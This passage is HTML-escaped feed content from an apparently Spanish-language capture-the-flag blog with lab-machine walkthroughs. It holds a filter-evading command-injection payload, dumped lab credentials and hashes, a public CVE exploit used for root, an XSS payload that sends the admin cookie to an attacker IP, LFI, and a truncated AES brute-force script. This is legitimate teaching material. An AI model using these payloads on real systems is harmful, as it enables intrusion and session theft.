&lt;p&gt;Descargo y descomprimo un archivo encontrado en su directorio, lo que revela unas credenciales en texto claro.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;User:&lt;/strong&gt; amanda&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pass:&lt;/strong&gt; &lt;code&gt;arHkG7HAI68X8s1J&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80db-9d88-f2115014c2c9.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="acceso-inicial"&gt;Acceso Inicial&lt;/h2&gt;
&lt;h3 id="panel-de-administración-y-rce"&gt;Panel de Administración y RCE&lt;/h3&gt;
&lt;p&gt;Utilizo las credenciales de Amanda para loguearme en el panel de administración. En el dashboard (&lt;code&gt;dashboard.php&lt;/code&gt;), encuentro un archivo para realizar backups que solicita una contraseña.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80a2-8697-fac09038ef9d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-803f-83b2-e234299eb1de.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En ese campo igual hay un RCE.&lt;/p&gt;
&lt;p&gt;Descubro que hay un filtro de espacios, pero logro evadirlo utilizando tabuladores (&lt;code&gt;%09&lt;/code&gt;) y saltos de línea (&lt;code&gt;%0A&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/nbash/t-c/t&amp;quot;whoami&amp;quot;&lt;/code&gt; (interpretado como &lt;code&gt;\n bash \t -c \t &amp;quot;whoami&amp;quot;&lt;/code&gt;)&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8095-9281-da298f64b4ea.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="exfiltración-de-base-de-datos"&gt;Exfiltración de Base de Datos&lt;/h3&gt;
&lt;p&gt;Aprovecho el RCE para volcar el contenido de la base de datos SQLite del servidor.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8022-97c8-e19b360e6f85.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Payload utilizado:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;%0Abash%09-c%09&amp;quot;sqlite3%09/var/www/nocturnal_database/nocturnal_database.db%09.dump&amp;quot;%0A&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;La respuesta me devuelve los registros de la tabla &lt;code&gt;users&lt;/code&gt; con hashes de contraseña&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSERT INTO users VALUES(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;admin&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;d725aeba143f575736b07e045d8ceebb&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSERT INTO users VALUES(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;amanda&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;df8b20aa0c935023f99ea58358fb63c4&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;INSERT INTO users VALUES(&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;tobias&amp;#39;&lt;/span&gt;,&lt;span style="color:#e6db74"&gt;&amp;#39;55c82b1ccd55ab219b3b109b07d5061d&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80f8-8e7a-efae1c3cc21d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Logro obtener la contraseña en texto claro para el usuario &lt;code&gt;tobias&lt;/code&gt;: &lt;code&gt;slowmotionapocalypse&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="movimiento-lateral-ssh"&gt;Movimiento Lateral (SSH)&lt;/h2&gt;
&lt;p&gt;Con las credenciales &lt;code&gt;tobias:slowmotionapocalypse&lt;/code&gt;, me conecto exitosamente mediante SSH.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80b2-86ad-df17d966e506.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Realizo una enumeración básica y confirmo que Tobias no tiene permisos de &lt;code&gt;sudo&lt;/code&gt;. Sin embargo, al revisar los puertos internos abiertos (&lt;code&gt;netstat&lt;/code&gt; o &lt;code&gt;ss&lt;/code&gt;), detecto un servicio corriendo en el puerto &lt;strong&gt;8080&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8055-a16e-e2a07ad14565.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escalada-de-privilegios"&gt;Escalada de Privilegios&lt;/h2&gt;
&lt;h3 id="tunneling-y-enumeración-interna"&gt;Tunneling y Enumeración Interna&lt;/h3&gt;
&lt;p&gt;Para acceder al servicio interno, realizo un Local Port Forwarding (túnel SSH) hacia mi máquina atacante.&lt;/p&gt;
&lt;p&gt;Al acceder a &lt;code&gt;localhost:8080&lt;/code&gt;, encuentro un servicio web (aparentemente Gogs, basado en el exploit posterior). Pruebo reutilización de credenciales y logro acceder con &lt;code&gt;admin:slowmotionapocalypse&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80e7-b76e-fdd44077b2e0.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-8060-8a77-f7cde30214b6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Analizamos la versión.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-803a-b11a-d1faf5dfd6b9.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="explotación-de-cve-2023-46818"&gt;Explotación de CVE-2023-46818&lt;/h3&gt;
&lt;p&gt;Identifico que la versión del servicio es vulnerable a &lt;strong&gt;CVE-2023-46818&lt;/strong&gt;. Esta vulnerabilidad permite escalar privilegios o lograr ejecución de código a través de una inyección de argumentos en el manejo de hooks de git o configuraciones internas.&lt;/p&gt;
&lt;p&gt;Utilizo un exploit público en Python para atacar la instancia:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/bipbopbup/CVE-2023-46818-python-exploit"&gt;link_preview&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80dd-b56a-ccf462b9faff.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;A pesar de la inestabilidad del servidor, el exploit logra ejecutarse correctamente y me otorga una shell como &lt;strong&gt;root&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80cb-8c74-fe91b6468155.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Lo tenemos!&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f3888fa-f353-80ae-aa8c-e24eb88b8fcb.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Imagery (Medium)</title><link>https://synacklabs.github.io/posts/imagery/</link><pubDate>Sat, 24 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/imagery/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina presenta una aplicación web en el puerto 8000. Tras un bypass de control de acceso en el frontend, identifico un &lt;strong&gt;XSS&lt;/strong&gt; en el sistema de reportes que me permite robar la cookie del administrador. Con acceso de admin, exploto un &lt;strong&gt;LFI&lt;/strong&gt; para leer el código fuente (&lt;code&gt;app.py&lt;/code&gt;), revelando credenciales de un usuario de pruebas. Utilizando estas credenciales, abuso de una inyección de comandos en la función de &amp;ldquo;crop&amp;rdquo; de imágenes para ganar acceso al sistema. Finalmente, descifro un backup encontrado localmente para pivotar al usuario &lt;code&gt;mark&lt;/code&gt; y escalo privilegios abusando de una utilidad de gestión de &lt;strong&gt;Cron jobs&lt;/strong&gt; mal configurada.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Esta máquina presenta una aplicación web en el puerto 8000. Tras un bypass de control de acceso en el frontend, identifico un &lt;strong&gt;XSS&lt;/strong&gt; en el sistema de reportes que me permite robar la cookie del administrador. Con acceso de admin, exploto un &lt;strong&gt;LFI&lt;/strong&gt; para leer el código fuente (&lt;code&gt;app.py&lt;/code&gt;), revelando credenciales de un usuario de pruebas. Utilizando estas credenciales, abuso de una inyección de comandos en la función de &amp;ldquo;crop&amp;rdquo; de imágenes para ganar acceso al sistema. Finalmente, descifro un backup encontrado localmente para pivotar al usuario &lt;code&gt;mark&lt;/code&gt; y escalo privilegios abusando de una utilidad de gestión de &lt;strong&gt;Cron jobs&lt;/strong&gt; mal configurada.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80a6-921c-e556b36cf2ff.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="escaneo-y-reconocimiento"&gt;Escaneo y Reconocimiento&lt;/h2&gt;
&lt;p&gt;Comienzo con un escaneo de puertos estándar.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE REASON
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;22/tcp open ssh syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;8000/tcp open http-alt syn-ack ttl &lt;span style="color:#ae81ff"&gt;63&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="enumeración-web-puerto-8000"&gt;Enumeración Web (Puerto 8000)&lt;/h3&gt;
&lt;p&gt;La aplicación web ofrece funcionalidades básicas: Registro, Login, Subida de imágenes (Galería) y Reporte de Bugs.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8082-8550-c1e4e8b23262.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="bypass-de-autenticación-frontend"&gt;Bypass de Autenticación (Frontend)&lt;/h3&gt;
&lt;p&gt;Al investigar el proceso de login, intercepto la petición &lt;code&gt;GET /auth&lt;/code&gt; que verifica el estado del usuario. La respuesta contiene un objeto JSON con el valor &lt;code&gt;isAdmin: false&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Modifico la respuesta en vuelo (response manipulation) cambiando el valor a &lt;code&gt;true&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80f2-9ea1-ebf6addc6508.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-807f-bb6c-e94bf42c343e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al no haber validación en el backend para la visualización del panel, logro acceder al &lt;strong&gt;Frontend de Administración&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Hay validación el el backend así que no podemos usar estas funcionalidades. Vamos a probar con isTestUser.&lt;/p&gt;
&lt;p&gt;Vemos que tenemos una pestaña de ManageGroups.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8015-aeaa-c5663154ad0c.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="acceso-inicial"&gt;Acceso Inicial&lt;/h2&gt;
&lt;h3 id="xss-cross-site-scripting"&gt;XSS (Cross-Site Scripting)&lt;/h3&gt;
&lt;p&gt;En el panel de Admin visualizado anteriormente, podemos ver que hay una función implementada que permite visualizar los bug reports por el administrador. Una posible XXS.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80aa-afee-c16e0c77c688.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Inyecto un payload de XSS para exfiltrar las cookies del administrador hacia mi servidor.&lt;/p&gt;
&lt;p&gt;El payload:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;img src=x onerror=fetch(&lt;span style="color:#e6db74"&gt;&amp;#39;http://10.10.14.53:8000/?pwned=&amp;#39;&lt;/span&gt;+document.cookie)&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-809e-b7b4-f6609155c624.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80a6-9606-d934a198cbe6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Recibo la conexión en mi servidor y obtengo la cookie de sesión del administrador.&lt;/p&gt;
&lt;h3 id="lfi-local-file-inclusion"&gt;LFI (Local File Inclusion)&lt;/h3&gt;
&lt;p&gt;Con la sesión de administrador válida, accedo al panel real.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80dc-ad71-f8623b1c85da.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Encuentro una funcionalidad para descargar logs.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8058-81db-fef967a0c13a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Puede ser una posible LFI.&lt;/p&gt;
&lt;p&gt;Al probar payloads de &lt;strong&gt;Path Traversal&lt;/strong&gt;, descubro que es efectivamente es vulnerable a &lt;strong&gt;LFI&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8079-a5cf-c1c04712d711.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Intento técnicas de Log Poisoning y Wrappers PHP sin éxito. Sin embargo, al analizar las cabeceras del servidor (&lt;code&gt;Werkzeug&lt;/code&gt;) y buscando en el github de el server Werkzeug, podemos ver un poco la estructura y ver que normalmente esta basado en una aplicación Python.&lt;/p&gt;
&lt;p&gt;Si buscamos ese fichero y &lt;a href="http://config.py/"&gt;config.py&lt;/a&gt; podremos ver la estructura entera del proyecto.&lt;/p&gt;
&lt;p&gt;Apunto al archivo principal donde se guarda la base de datos de la aplicación: &lt;code&gt;db.json&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80ba-b87b-f7ca00a4f5f7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Encontramos hashes de los usuarios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-80dc-bb22-e027b9012ffd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Usuario:&lt;/strong&gt; &lt;code&gt;Testuser&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password:&lt;/strong&gt; &lt;code&gt;imbatman&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="rce-remote-code-execution"&gt;RCE (Remote Code Execution)&lt;/h3&gt;
&lt;p&gt;Analizando el código fuente descargado (&lt;code&gt;api_edit&lt;/code&gt;), encuentro la función &lt;code&gt;crop&lt;/code&gt; para recortar imágenes. Esta función utiliza una llamada al sistema con &lt;code&gt;shell=True&lt;/code&gt;, lo que permite inyección de comandos. El código indica que esta función &lt;strong&gt;solo está disponible para el rol&lt;/strong&gt; &lt;strong&gt;&lt;code&gt;Testuser&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-809f-a08f-d325c89e0791.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Me logueo con las credenciales obtenidas (&lt;code&gt;Testuser:imbatman&lt;/code&gt;) y exploto la vulnerabilidad inyectando un comando para obtener una reverse shell usando &lt;code&gt;busybox&lt;/code&gt; y &lt;code&gt;nc&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8001-bb81-e9924625cbc6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8067-bcf8-d010ecd8b9a1.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Consigo acceso al sistema como &lt;code&gt;www-data&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="movimiento-lateral-usuario-mark"&gt;Movimiento Lateral: Usuario Mark&lt;/h2&gt;
&lt;h3 id="enumeración-y-cracking-de-backup"&gt;Enumeración y Cracking de Backup&lt;/h3&gt;
&lt;hr&gt;
&lt;p&gt;Emeramos y podemos ver un archivo extraño de backups en la carpeta &lt;code&gt;/var/backup/web---.zip.aes&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f2888fa-f353-8063-a9c4-cd9e5ce2d4d7.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Descargo el archivo. Al ser un archivo &lt;code&gt;.aes&lt;/code&gt;, necesito fuerza bruta. Desarrollo un script en Python utilizando &lt;code&gt;pyAesCrypt&lt;/code&gt; para intentar descifrarlo usando el diccionario &lt;code&gt;rockyou.txt&lt;/code&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Script de Cracking (Resumen):&lt;/strong&gt;&lt;br&gt;
El script itera sobre una wordlist, intentando descifrar el archivo con &lt;code&gt;pyAesCrypt.decryptFile&lt;/code&gt;. Si el archivo de salida tiene tamaño mayor a 0, asume que la contraseña es correcta.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;aes_bruteforce.py
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Modo 1: wordlist (recomendado para CTFs) --rockyou
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Modo 2: brute (solo para longitudes muy pequeñas o pruebas)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Uso:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; python3 aes_bruteforce.py --file archivo.zip.aes --wordlist /path/to/rockyou.txt
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; python3 aes_bruteforce.py --file archivo.zip.aes --brute --min 1 --max 4 --charset abcdef012345
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Notas:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; - Este script intenta descifrar con pyAesCrypt.decryptFile creando un archivo temporal.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt; - Si tu .aes no es de AES Crypt (pyAesCrypt) esto fallará; en ese caso usa el flujo zip2john/john o hashcat.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import argparse
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import pyAesCrypt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import tempfile
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import os
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import sys
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;from tqdm import tqdm
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import itertools
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import time
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Tamaño del buffer recomendado por pyAesCrypt&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BUFFER_SIZE &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;64&lt;/span&gt; * &lt;span style="color:#ae81ff"&gt;1024&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def try_password&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, password&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#34;&amp;#34;Intenta descifrar aesfile con password. Devuelve True si tiene éxito.&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# crear temporal para escribir la salida descifrada&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tmpf &lt;span style="color:#f92672"&gt;=&lt;/span&gt; None
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; try:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tmp &lt;span style="color:#f92672"&gt;=&lt;/span&gt; tempfile.NamedTemporaryFile&lt;span style="color:#f92672"&gt;(&lt;/span&gt;delete&lt;span style="color:#f92672"&gt;=&lt;/span&gt;False&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tmpf &lt;span style="color:#f92672"&gt;=&lt;/span&gt; tmp.name
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tmp.close&lt;span style="color:#f92672"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# pyAesCrypt.decryptFile lanzará ValueError si la contraseña es incorrecta&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pyAesCrypt.decryptFile&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, tmpf, password, BUFFER_SIZE&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# si llegamos aquí: posiblemente contraseña correcta&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# comprobación simple: fichero resultado no vacío&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ok &lt;span style="color:#f92672"&gt;=&lt;/span&gt; os.path.getsize&lt;span style="color:#f92672"&gt;(&lt;/span&gt;tmpf&lt;span style="color:#f92672"&gt;)&lt;/span&gt; &amp;gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; ok
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except Exception as e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# errores esperados: ValueError / IntegrityError etc. -&amp;gt; contraseña incorrecta&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#print(&amp;#34;debug:&amp;#34;, repr(e))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; False
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; finally:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; tmpf and os.path.exists&lt;span style="color:#f92672"&gt;(&lt;/span&gt;tmpf&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; try:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; os.remove&lt;span style="color:#f92672"&gt;(&lt;/span&gt;tmpf&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pass
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def mode_wordlist&lt;span style="color:#f92672"&gt;(&lt;/span&gt;aesfile, wordlist_path, start_line&lt;span style="color:#f92672"&gt;=&lt;/span&gt;0, limit&lt;span style="color:#f92672"&gt;=&lt;/span&gt;None&lt;span style="color:#f92672"&gt;)&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Abrimos en modo texto (latin-1) para preservar bytes no ASCII&lt;/span&gt;
